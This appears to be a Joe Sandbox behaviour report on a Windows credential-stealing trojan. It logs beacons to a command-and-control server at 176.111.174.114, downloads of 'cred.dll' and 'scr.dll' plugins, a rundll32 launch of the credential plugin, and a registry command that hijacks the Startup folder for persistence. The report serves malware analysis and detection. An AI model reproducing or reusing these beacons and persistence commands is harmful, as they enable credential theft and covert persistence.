Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Source: Joe Sandbox View

ASN Name: WILWAWPL WILWAWPL

Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.1
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114
Source: unknown	TCP traffic detected without corresponding DNS query: 176.111.174.114

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Code function: 1_2_004022B0 InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_004022B0

Source: global traffic	HTTP traffic detected: GET /Hnq8vS/plugins/cred.dll HTTP/1.1Host: 176.111.174.114
Source: global traffic	HTTP traffic detected: GET /Hnq8vS/plugins/scr.dll HTTP/1.1Host: 176.111.174.114

Source: unknown

HTTP traffic detected: POST /Hnq8vS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.111.174.114Content-Length: 83Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Source: blfte.exe, 00000003.00000002.750708409.00000000006FE000.00000004.00000001.sdmp	String found in binary or memory: http://176.111.174.114/
Source: blfte.exe, 00000003.00000002.750708409.00000000006FE000.00000004.00000001.sdmp	String found in binary or memory: http://176.111.174.114/0
Source: blfte.exe, 00000003.00000002.756773134.0000000002E95000.00000004.00000001.sdmp, blfte.exe, 00000003.00000002.756308062.0000000002E3D000.00000004.00000001.sdmp, blfte.exe, 00000003.00000002.756217622.0000000002E34000.00000004.00000001.sdmp, blfte.exe, 00000003.00000002.756024475.0000000002DD0000.00000004.00000001.sdmp	String found in binary or memory: http://176.111.174.114/Hnq8vS/index.php
Source: blfte.exe, 00000003.00000002.756308062.0000000002E3D000.00000004.00000001.sdmp	String found in binary or memory: http://176.111.174.114/Hnq8vS/index.php9
Source: blfte.exe, 00000003.00000002.756277182.0000000002E39000.00000004.00000001.sdmp	String found in binary or memory: http://176.111.174.114/Hnq8vS/index.phpE
Source: blfte.exe, 00000003.00000002.756308062.0000000002E3D000.00000004.00000001.sdmp	String found in binary or memory: http://176.111.174.114/Hnq8vS/index.php~
Source: blfte.exe, 00000003.00000002.756217622.0000000002E34000.00000004.00000001.sdmp	String found in binary or memory: http://176.111.174.11414/Hnq8vS/index.php
Source: blfte.exe, 00000003.00000002.756024475.0000000002DD0000.00000004.00000001.sdmp	String found in binary or memory: http://176.111P

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49689
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49676
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49675
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49681
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49680
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_00403040	1_2_00403040
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_0041E0C0	1_2_0041E0C0
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_00412A07	1_2_00412A07
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_004213F7	1_2_004213F7
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_0041E558	1_2_0041E558
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_00421517	1_2_00421517
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_0042276D	1_2_0042276D
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_00423720	1_2_00423720
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_02233290	1_2_02233290
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_0224E310	1_2_0224E310
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_02253970	1_2_02253970
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_022529BD	1_2_022529BD
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_02251647	1_2_02251647
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_02251767	1_2_02251767
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: 1_2_02242C57	1_2_02242C57
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_00403040	3_2_00403040
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_0041E0C0	3_2_0041E0C0
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_00412A07	3_2_00412A07
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_004213F7	3_2_004213F7
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_0041E558	3_2_0041E558
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_00421517	3_2_00421517
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_0042276D	3_2_0042276D
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_00423720	3_2_00423720
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_02103290	3_2_02103290
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_0211E310	3_2_0211E310
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_02123970	3_2_02123970
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_021229BD	3_2_021229BD
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_02121647	3_2_02121647
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_02121767	3_2_02121767
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: 3_2_02112C57	3_2_02112C57

Source: Joe Sandbox View	Dropped File: C:\ProgramData\1a9f26b569d5df\cred.dll 78322121578342E588375350F56EDB5E0A6D4B889C6425814590AFD1A967E650
Source: Joe Sandbox View	Dropped File: C:\ProgramData\1a9f26b569d5df\scr.dll 76F6C712403A2F6213390AB2A72A82C98C9C48E1B1BDE182AA5932BD02A06D43
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\cred[1].dll 78322121578342E588375350F56EDB5E0A6D4B889C6425814590AFD1A967E650
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\scr[1].dll 76F6C712403A2F6213390AB2A72A82C98C9C48E1B1BDE182AA5932BD02A06D43
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe B5A399C0EA40983ABC68B828CCB14EFDE2DB90C047BBFBA9AE418317CE7F036D

Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: String function: 0040F4A0 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: String function: 0210E120 appears 79 times
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: String function: 0040DED0 appears 80 times
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Code function: String function: 0210F6F0 appears 38 times
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: String function: 0040F4A0 appears 39 times
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: String function: 0223E120 appears 77 times
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: String function: 0040DED0 appears 77 times
Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Code function: String function: 0223F6F0 appears 38 times

Source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: blfte.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: blfte.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: blfte.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: blfte.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe, 00000001.00000002.233651118.0000000002310000.00000002.00000001.sdmp	Binary or memory string: originalfilename vs b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe
Source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe, 00000001.00000002.233651118.0000000002310000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamepropsys.dll.mui@ vs b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe
Source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe, 00000001.00000002.233593108.00000000022B0000.00000002.00000001.sdmp	Binary or memory string: System.OriginalFileName vs b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\e90e419c61\

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@12/8@0/3

Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6240:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Mutant created: \Sessions\1\BaseNamedObjects\152138533219352125563209

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

File created: C:\Users\user\AppData\Local\Temp\15213853321935212556

Jump to behavior

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	Command line argument: -B		1_2_00422D40
Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	Command line argument: -B		3_2_00422D40

Source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\ProgramData\1a9f26b569d5df\cred.dll, Main

Source: b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

ReversingLabs: Detection: 34%

Source: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

File read: C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe

Jump to behavior

